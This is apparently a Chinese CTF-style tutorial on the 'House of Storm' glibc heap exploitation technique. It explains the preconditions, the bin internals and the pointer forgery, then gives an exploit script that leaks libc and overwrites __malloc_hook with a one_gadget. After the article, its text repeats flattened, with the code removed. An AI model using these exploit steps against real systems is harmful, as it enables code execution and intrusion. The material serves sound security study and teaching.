House Of Storm
字数 1387 2025-08-20 18:16:58

House Of Storm 攻击技术详解

背景知识

House Of Storm 是一种结合了 unsortedbin attack 和 Largebin attack 的攻击技术,其基本原理和 Largebin attack 类似,可以达到任意地址写的效果。这种攻击危害性很大,但利用条件也非常苛刻。

利用条件

  1. glibc版本限制:glibc版本必须小于2.30,因为2.30之后加入了安全检查
  2. 堆块布置要求
    • 攻击者需要在largebin和unsorted_bin中分别布置一个chunk
    • 这两个chunk在归位后必须处于同一个largebin的index中
    • unsortedbin中的chunk要比largebin中的大
  3. 指针控制要求
    • 需要控制unsorted_bin中的bk指针
    • 需要控制largebin中的bk指针和bk_nextsize指针

技术原理

House Of Storm 利用了glibc在将unsorted bin中的chunk放入large bin时的处理逻辑漏洞。主要涉及以下关键点:

  1. unsorted bin管理

    • 当一个较大的chunk被分割后,剩余部分大于MINSIZE时会放入unsorted bin
    • 释放不属于fast bin且不与top chunk紧邻的chunk会首先放入unsorted bin
    • Unsorted bin是空闲chunk回归所属bin之前的缓冲区,处于bin数组下标1处
  2. large bin管理

    • Largebin用于收容超过0x400大小以上的chunk(64位)
    • 是一个双向链表,共可容纳63个chunk
    • 按照大小范围分为6组,每组有不同的差值范围

利用步骤

  1. 初始设置

    unsorted_bin->fd = 0
    unsorted_bin->bk = fake_chunk
    large_bin->fd = 0
    large_bin->bk = fake_chunk+8
    large_bin->fd_nextsize = 0
    large_bin->bk_nextsize = fake_chunk - 0x18 -5
    
  2. 绕过检查的关键点

    • unsorted_bin->bk = fake_chunk (把fake_chunk链到unsorted_bin中)
    • fake_chunk+0x10 = unsorted_bin (伪造fake_chunk的fd)
    • fake_chunk+0x3 = unsorted_chunk (伪造fake_chunk的size)
    • fake_chunk+0x18 = unsorted_chunk (伪造fake_chunk的bk)

实际利用示例

以下是一个简单的利用流程:

  1. 堆块布置

    add(0x20)
    add(0x400) #1
    add(0x20)
    add(0x410) #3
    add(0x20)
    add(0x20) #5
    add(0x20)
    
  2. 释放堆块

    delete(1)
    delete(3)
    delete(5)
    
  3. 泄露libc地址

    show(1)
    libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3c4b78
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    fake_chunk = malloc_hook - 0x50
    
  4. 重新分配和编辑

    add(0x20)
    add(0x410) #3
    delete(3)
    
    # 设置伪造指针
    payload = p64(0) + p64(fake_chunk)
    edit(3, payload) # chunk3_bk-->fake_chunk
    
    payload = p64(0) + p64(fake_chunk + 0x8) + p64(0) + p64(fake_chunk - 0x18 - 5)
    edit(1, payload) # chunk1_bk-->fake_chunk+8, chunk1_bk_nextsize-->fake_chunk-0x18-5
    
  5. 触发漏洞

    add(0x48) #9
    og = libc_base + ogs[1]
    payload = p64(og)*8 + p64(og)
    edit(9, payload)
    add(0x20) # 触发malloc_hook执行
    

关键点总结

  1. 版本限制:必须使用glibc < 2.30版本
  2. 堆块大小关系:unsorted bin中的chunk必须比large bin中的大
  3. 指针控制:需要精确控制多个指针的值
  4. fake_chunk构造:需要精心构造fake_chunk的各个字段以绕过检查
  5. size字段伪造:通过large_bin->bk_nextsize = fake_chunk - 0x18 -5的设置,使得fake_chunk的size为0x56,P位为0

防御措施

  1. 升级glibc到2.30及以上版本
  2. 加强堆指针的检查机制
  3. 实现更严格的size字段验证

House Of Storm是一种高级的堆利用技术,需要深入理解glibc的内存管理机制才能成功利用。在实际漏洞利用中,需要根据目标环境的具体情况调整利用策略。

House Of Storm 攻击技术详解 背景知识 House Of Storm 是一种结合了 unsortedbin attack 和 Largebin attack 的攻击技术,其基本原理和 Largebin attack 类似,可以达到任意地址写的效果。这种攻击危害性很大,但利用条件也非常苛刻。 利用条件 glibc版本限制 :glibc版本必须小于2.30,因为2.30之后加入了安全检查 堆块布置要求 : 攻击者需要在largebin和unsorted_ bin中分别布置一个chunk 这两个chunk在归位后必须处于同一个largebin的index中 unsortedbin中的chunk要比largebin中的大 指针控制要求 : 需要控制unsorted_ bin中的bk指针 需要控制largebin中的bk指针和bk_ nextsize指针 技术原理 House Of Storm 利用了glibc在将unsorted bin中的chunk放入large bin时的处理逻辑漏洞。主要涉及以下关键点: unsorted bin管理 : 当一个较大的chunk被分割后,剩余部分大于MINSIZE时会放入unsorted bin 释放不属于fast bin且不与top chunk紧邻的chunk会首先放入unsorted bin Unsorted bin是空闲chunk回归所属bin之前的缓冲区,处于bin数组下标1处 large bin管理 : Largebin用于收容超过0x400大小以上的chunk(64位) 是一个双向链表,共可容纳63个chunk 按照大小范围分为6组,每组有不同的差值范围 利用步骤 初始设置 : 绕过检查的关键点 : unsorted_ bin->bk = fake_ chunk (把fake_ chunk链到unsorted_ bin中) fake_ chunk+0x10 = unsorted_ bin (伪造fake_ chunk的fd) fake_ chunk+0x3 = unsorted_ chunk (伪造fake_ chunk的size) fake_ chunk+0x18 = unsorted_ chunk (伪造fake_ chunk的bk) 实际利用示例 以下是一个简单的利用流程: 堆块布置 : 释放堆块 : 泄露libc地址 : 重新分配和编辑 : 触发漏洞 : 关键点总结 版本限制 :必须使用glibc < 2.30版本 堆块大小关系 :unsorted bin中的chunk必须比large bin中的大 指针控制 :需要精确控制多个指针的值 fake_ chunk构造 :需要精心构造fake_ chunk的各个字段以绕过检查 size字段伪造 :通过large_ bin->bk_ nextsize = fake_ chunk - 0x18 -5的设置,使得fake_ chunk的size为0x56,P位为0 防御措施 升级glibc到2.30及以上版本 加强堆指针的检查机制 实现更严格的size字段验证 House Of Storm是一种高级的堆利用技术,需要深入理解glibc的内存管理机制才能成功利用。在实际漏洞利用中,需要根据目标环境的具体情况调整利用策略。